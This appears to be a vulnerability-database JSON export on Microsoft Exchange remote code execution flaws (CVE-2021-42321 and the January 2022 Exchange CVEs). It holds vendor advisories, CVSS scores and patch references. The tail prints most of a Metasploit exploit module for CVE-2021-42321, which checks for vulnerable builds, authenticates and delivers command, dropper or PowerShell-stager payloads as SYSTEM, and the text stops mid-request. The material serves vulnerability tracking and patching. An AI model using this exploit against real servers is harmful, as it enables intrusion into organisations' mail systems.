Cumulative Update 21 \nMicrosoft Exchange Server 2016 Cumulative Update 22 \nMicrosoft Exchange Server 2019 Cumulative Update 10 \nMicrosoft Exchange Server 2019 Cumulative Update 11\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2022-21855](<https://nvd.nist.gov/vuln/detail/CVE-2022-21855>) \n[CVE-2022-21846](<https://nvd.nist.gov/vuln/detail/CVE-2022-21846>) \n[CVE-2022-21969](<https://nvd.nist.gov/vuln/detail/CVE-2022-21969>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Exchange Server](<https://threats.kaspersky.com/en/product/Microsoft-Exchange-Server/>)\n\n### *CVE-IDS*:\n[CVE-2022-21855](<https://vulners.com/cve/CVE-2022-21855>)5.0Critical \n[CVE-2022-21846](<https://vulners.com/cve/CVE-2022-21846>)5.0Critical \n[CVE-2022-21969](<https://vulners.com/cve/CVE-2022-21969>)5.0Critical\n\n### *KB list*:\n[5008631](<http://support.microsoft.com/kb/5008631>)", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-11T00:00:00", "type": "kaspersky", "title": "KLA12419 Multiple vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.3, "vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-01-12T00:00:00", "id": "KLA12419", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12419/", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T16:29:56", "description": "### *Detect date*:\n11/09/2021\n\n### *Severity*:\nHigh\n\n### *Description*:\nMultiple vulnerabilities were found in Microsoft Exchange Server. Malicious users can exploit these vulnerabilities to perform cross-site scripting attack, execute arbitrary code, spoof user interface.\n\n### *Exploitation*:\nMalware exists for this vulnerability. Usually such malware is classified as Exploit. [More details](<https://threats.kaspersky.com/en/class/Exploit/>).\n\n### *Affected products*:\nMicrosoft Exchange Server 2019 Cumulative Update 10 \nMicrosoft Exchange Server 2019 Cumulative Update 11 \nMicrosoft Exchange Server 2013 Cumulative Update 23 \nMicrosoft Exchange Server 2016 Cumulative Update 22 \nMicrosoft Exchange Server 2016 Cumulative Update 21\n\n### *Solution*:\nInstall necessary updates from the KB section, that are listed in your Windows Update (Windows Update usually can be accessed from the Control Panel)\n\n### *Original advisories*:\n[CVE-2021-41349](<https://nvd.nist.gov/vuln/detail/CVE-2021-41349>) \n[CVE-2021-42321](<https://nvd.nist.gov/vuln/detail/CVE-2021-42321>) \n[CVE-2021-42305](<https://nvd.nist.gov/vuln/detail/CVE-2021-42305>) \n\n\n### *Impacts*:\nACE \n\n### *Related products*:\n[Microsoft Exchange Server](<https://threats.kaspersky.com/en/product/Microsoft-Exchange-Server/>)\n\n### *CVE-IDS*:\n[CVE-2021-41349](<https://vulners.com/cve/CVE-2021-41349>)4.3Warning \n[CVE-2021-42321](<https://vulners.com/cve/CVE-2021-42321>)6.5High \n[CVE-2021-42305](<https://vulners.com/cve/CVE-2021-42305>)4.3Warning\n\n### *KB list*:\n[5007409](<http://support.microsoft.com/kb/5007409>)\n\n### *Microsoft official advisories*:", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-09T00:00:00", "type": "kaspersky", "title": "KLA12342 Multiple vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-41349", "CVE-2021-42305", "CVE-2021-42321"], "modified": "2022-01-18T00:00:00", "id": "KLA12342", "href": "https://threats.kaspersky.com/en/vulnerability/KLA12342/", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "mscve": [{"lastseen": "2023-06-10T15:21:13", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21846, CVE-2022-21969.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-11T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 5.1, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.7, "vectorString": "AV:A/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-01-11T08:00:00", "id": "MS:CVE-2022-21855", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21855", "cvss": {"score": 7.7, "vector": "AV:A/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-10T15:21:10", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21846, CVE-2022-21855.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-11T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 5.1, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.7, "vectorString": "AV:A/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-01-11T08:00:00", "id": "MS:CVE-2022-21969", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21969", "cvss": {"score": 7.7, "vector": "AV:A/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-06-10T15:21:16", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-21855, CVE-2022-21969.", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 9.0, "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-01-11T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.3, "vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-21846", "CVE-2022-21855", "CVE-2022-21969"], "modified": "2022-01-11T08:00:00", "id": "MS:CVE-2022-21846", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-21846", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-23T16:35:31", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-09T08:00:00", "type": "mscve", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "microsoft", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-06-21T07:00:00", "id": "MS:CVE-2021-42321", "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "cisa_kev": [{"lastseen": "2023-05-23T17:17:33", "description": "An authenticated attacker could leverage improper validation in cmdlet arguments within Microsoft Exchange and perform remote code execution.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-17T00:00:00", "type": "cisa_kev", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2021-11-17T00:00:00", "id": "CISA-KEV-CVE-2021-42321", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "cnvd": [{"lastseen": "2022-11-05T08:35:07", "description": "Microsoft Exchange Server is a set of email service programs from Microsoft Corporation (USA). Microsoft Exchange Server is a remote code execution vulnerability that can be exploited by attackers to remotely execute arbitrary code on the server by sending specially crafted malicious data to the server.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-12T00:00:00", "type": "cnvd", "title": "Microsoft Exchange Server Remote Code Execution Vulnerability (CNVD-2021-90307)", "bulletinFamily": "cnvd", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2021-11-24T00:00:00", "id": "CNVD-2021-90307", "href": "https://www.cnvd.org.cn/flaw/show/CNVD-2021-90307", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}], "githubexploit": [{"lastseen": "2023-05-23T17:38:07", "description": "# CVE-2021-42321\nMicrosoft...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-23T02:26:26", "type": "githubexploit", "title": "Exploit for CVE-2021-42321", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2023-03-13T18:05:45", "id": "55F902F5-E290-577E-A48D-FB56855B1CBB", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}, {"lastseen": "2023-05-23T17:19:46", "description": "# exch_CVE-2021-42321\n\n## \u672c\u6587\u662f7bits\u5b89\u5168\u56e2\u961f\u6587\u7ae0\u300aDo...", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-10-08T13:00:23", "type": "githubexploit", "title": "Exploit for CVE-2021-42321", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2023-04-21T16:00:33", "id": "4A657558-ABE9-5708-B292-B836048EF1AD", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}, "privateArea": 1}], "packetstorm": [{"lastseen": "2022-02-25T15:08:56", "description": "", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-25T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange Server Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-42321"], "modified": "2022-02-25T00:00:00", "id": "PACKETSTORM:166153", "href": "https://packetstormsecurity.com/files/166153/Microsoft-Exchange-Server-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'nokogiri' \n \nclass MetasploitModule < Msf::Exploit::Remote \n \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::Powershell \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange Server ChainedSerializationBinder Deny List Typo RCE', \n'Description' => %q{ \nThis vulnerability allows remote attackers to execute arbitrary code \non Exchange Server 2019 CU10 prior to Security Update 3, Exchange Server 2019 CU11 \nprior to Security Update 2, Exchange Server 2016 CU21 prior to \nSecurity Update 3, and Exchange Server 2016 CU22 prior to \nSecurity Update 2. \n \nNote that authentication is required to exploit this vulnerability. \n \nThe specific flaw exists due to the fact that the deny list for the \nChainedSerializationBinder had a typo whereby an entry was typo'd as \nSystem.Security.ClaimsPrincipal instead of the proper value of \nSystem.Security.Claims.ClaimsPrincipal. \n \nBy leveraging this vulnerability, attacks can bypass the \nChainedSerializationBinder's deserialization deny list \nand execute code as NT AUTHORITY\\SYSTEM. \n \nTested against Exchange Server 2019 CU11 SU0 on Windows Server 2019, \nand Exchange Server 2016 CU22 SU0 on Windows Server 2016. \n}, \n'Author' => [ \n'pwnforsp', # Original Bug Discovery \n'zcgonvh', # Of 360 noah lab, Original Bug Discovery \n'Microsoft Threat Intelligence Center', # Discovery of exploitation in the wild \n'Microsoft Security Response Center', # Discovery of exploitation in the wild \n'peterjson', # Writeup \n'testanull', # PoC Exploit \n'Grant Willcox', # Aka tekwizz123. That guy in the back who took the hard work of all the people above and wrote this module :D \n], \n'References' => [ \n['CVE', '2021-42321'], \n['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321'], \n['URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-9-2021-kb5007409-7e1f235a-d41b-4a76-bcc4-3db90cd161e7'], \n['URL', 'https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169'], \n['URL', 'https://gist.github.com/testanull/0188c1ae847f37a70fe536123d14f398'], \n['URL', 'https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852'] \n], \n'DisclosureDate' => '2021-12-09', \n'License' => MSF_LICENSE, \n'Platform' => 'win', \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Command', \n{ \n'Arch' => ARCH_CMD, \n'Type' => :win_cmd \n} \n], \n[ \n'Windows Dropper', \n{ \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :win_dropper, \n'DefaultOptions' => { \n'CMDSTAGER::FLAVOR' => :psh_invokewebrequest \n} \n} \n], \n[ \n'PowerShell Stager', \n{ \n'Arch' => [ARCH_X86, ARCH_X64], \n'Type' => :psh_stager \n} \n] \n], \n'DefaultTarget' => 0, \n'DefaultOptions' => { \n'SSL' => true, \n'HttpClientTimeout' => 5, \n'WfsDelay' => 10 \n}, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'Reliability' => [REPEATABLE_SESSION], \n'SideEffects' => [ \nIOC_IN_LOGS, # Can easily log using advice at https://techcommunity.microsoft.com/t5/exchange-team-blog/released-november-2021-exchange-server-security-updates/ba-p/2933169 \nCONFIG_CHANGES # Alters the user configuration on the Inbox folder to get the payload to trigger. \n] \n} \n) \n) \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [true, 'Base path', '/']), \nOptString.new('HttpUsername', [true, 'The username to log into the Exchange server as', '']), \nOptString.new('HttpPassword', [true, 'The password to use to authenticate to the Exchange server', '']) \n]) \nend \n \ndef post_auth? \ntrue \nend \n \ndef username \ndatastore['HttpUsername'] \nend \n \ndef password \ndatastore['HttpPassword'] \nend \n \ndef vuln_builds \n# https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019 \n[ \n[Rex::Version.new('15.1.2308.8'), Rex::Version.new('15.1.2308.20')], # Exchange Server 2016 CU21 \n[Rex::Version.new('15.1.2375.7'), Rex::Version.new('15.1.2375.17')], # Exchange Server 2016 CU22 \n[Rex::Version.new('15.2.922.7'), Rex::Version.new('15.2.922.19')], # Exchange Server 2019 CU10 \n[Rex::Version.new('15.2.986.5'), Rex::Version.new('15.2.986.14')] # Exchange Server 2019 CU11 \n] \nend \n \ndef check \n# First lets try a cheap way of doing this via a leak of the X-OWA-Version header. \n# If we get this we know the version number for sure and we can skip a lot of leg work. \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/owa/service') \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \n \nif res.headers['X-OWA-Version'] \nbuild = res.headers['X-OWA-Version'] \nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } \nreturn CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\") \nelse \nreturn CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\") \nend \nend \n \n# Next, determine if we are up against an older version of Exchange Server where \n# the /owa/auth/logon.aspx page gives the full version. Recent versions of Exchange \n# give only a partial version without the build number. \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/owa/auth/logon.aspx') \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \n \nif res.code == 200 && ((%r{/owa/(?<build>\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body) || (%r{/owa/auth/(?<build>\\d+\\.\\d+\\.\\d+\\.\\d+)} =~ res.body)) \nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } \nreturn CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\") \nelse \nreturn CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\") \nend \nend \n \n# Next try @tseller's way and try /ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application \n# URL which if successful should provide some XML with entries like the following: \n# \n# <assemblyIdentity name=\"microsoft.exchange.ediscovery.exporttool.application\" \n# version=\"15.2.986.5\" publicKeyToken=\"b1d1a6c45aa418ce\" language=\"neutral\" \n# processorArchitecture=\"msil\" xmlns=\"urn:schemas-microsoft-com:asm.v1\" /> \n# \n# This only works on Exchange Server 2013 and later and may not always work, but if it \n# does work it provides the full version number so its a nice strategy. \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, '/ecp/current/exporttool/microsoft.exchange.ediscovery.exporttool.application') \n) \n \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \n \nif res.code == 200 && res.body =~ /name=\"microsoft.exchange.ediscovery.exporttool\" version=\"\\d+\\.\\d+\\.\\d+\\.\\d+\"/ \nbuild = res.body.match(/name=\"microsoft.exchange.ediscovery.exporttool\" version=\"(\\d+\\.\\d+\\.\\d+\\.\\d+)\"/)[1] \nif vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) } \nreturn CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\") \nelse \nreturn CheckCode::Safe(\"Exchange Server #{build} is not a vulnerable build.\") \nend \nend \n \n# Finally, try a variation on the above and use a well known trick of grabbing /owa/auth/logon.aspx \n# to get a partial version number, then use the URL at /ecp/<version here>/exporttool/. If we get a 200 \n# OK response, we found the target version number, otherwise we didn't find it. \n# \n# Props go to @jmartin-r7 for improving my original code for this and suggestion the use of \n# canonical_segments to make this close to the Rex::Version code format. Also for noticing that \n# version_range is a Rex::Version object already and cleaning up some of my original code to simplify \n# things on this premise. \n \nvuln_builds.each do |version_range| \nreturn CheckCode::Unknown('Range provided is not iterable') unless version_range[0].canonical_segments[0..-2] == version_range[1].canonical_segments[0..-2] \n \nprepend_range = version_range[0].canonical_segments[0..-2] \nlowest_patch = version_range[0].canonical_segments.last \nwhile Rex::Version.new((prepend_range.dup << lowest_patch).join('.')) <= version_range[1] \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(target_uri.path, \"/ecp/#{build}/exporttool/\") \n) \nunless res \nreturn CheckCode::Unknown('Target did not respond to check.') \nend \nif res && res.code == 200 \nreturn CheckCode::Appears(\"Exchange Server #{build} is a vulnerable build.\") \nend \n \nlowest_patch += 1 \nend \n \nCheckCode::Unknown('Could not determine the build number of the target Exchange Server.') \nend \nend \n \ndef exploit \ncase target['Type'] \nwhen :win_cmd \nexecute_command(payload.encoded) \nwhen :win_dropper \nexecute_cmdstager \nwhen :psh_stager \nexecute_command(cmd_psh_payload( \npayload.encoded, \npayload.arch.first, \nremove_comspec: true \n)) \nend \nend \n \ndef execute_command(cmd, _opts = {}) \n# Get the user's inbox folder's ID and change key ID. \nprint_status(\"Getting the user's inbox folder's ID and ChangeKey ID...\") \nxml_getfolder_inbox = %(<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Header> \n<t:RequestServerVersion Version=\"Exchange2013\" /> \n</soap:Header> \n<soap:Body> \n<m:GetFolder> \n<m:FolderShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:FolderShape> \n<m:FolderIds> \n<t:DistinguishedFolderId Id=\"inbox\" /> \n</m:FolderIds> \n</m:GetFolder> \n</soap:Body> \n</soap:Envelope>) \n \nres = send_request_cgi( \n{ \n'method' => 'POST', \n'uri' => normalize_uri(datastore['TARGETURI'], 'ews', 'exchange.asmx'), \n'data' => xml_getfolder_inbox, \n'ctype' => 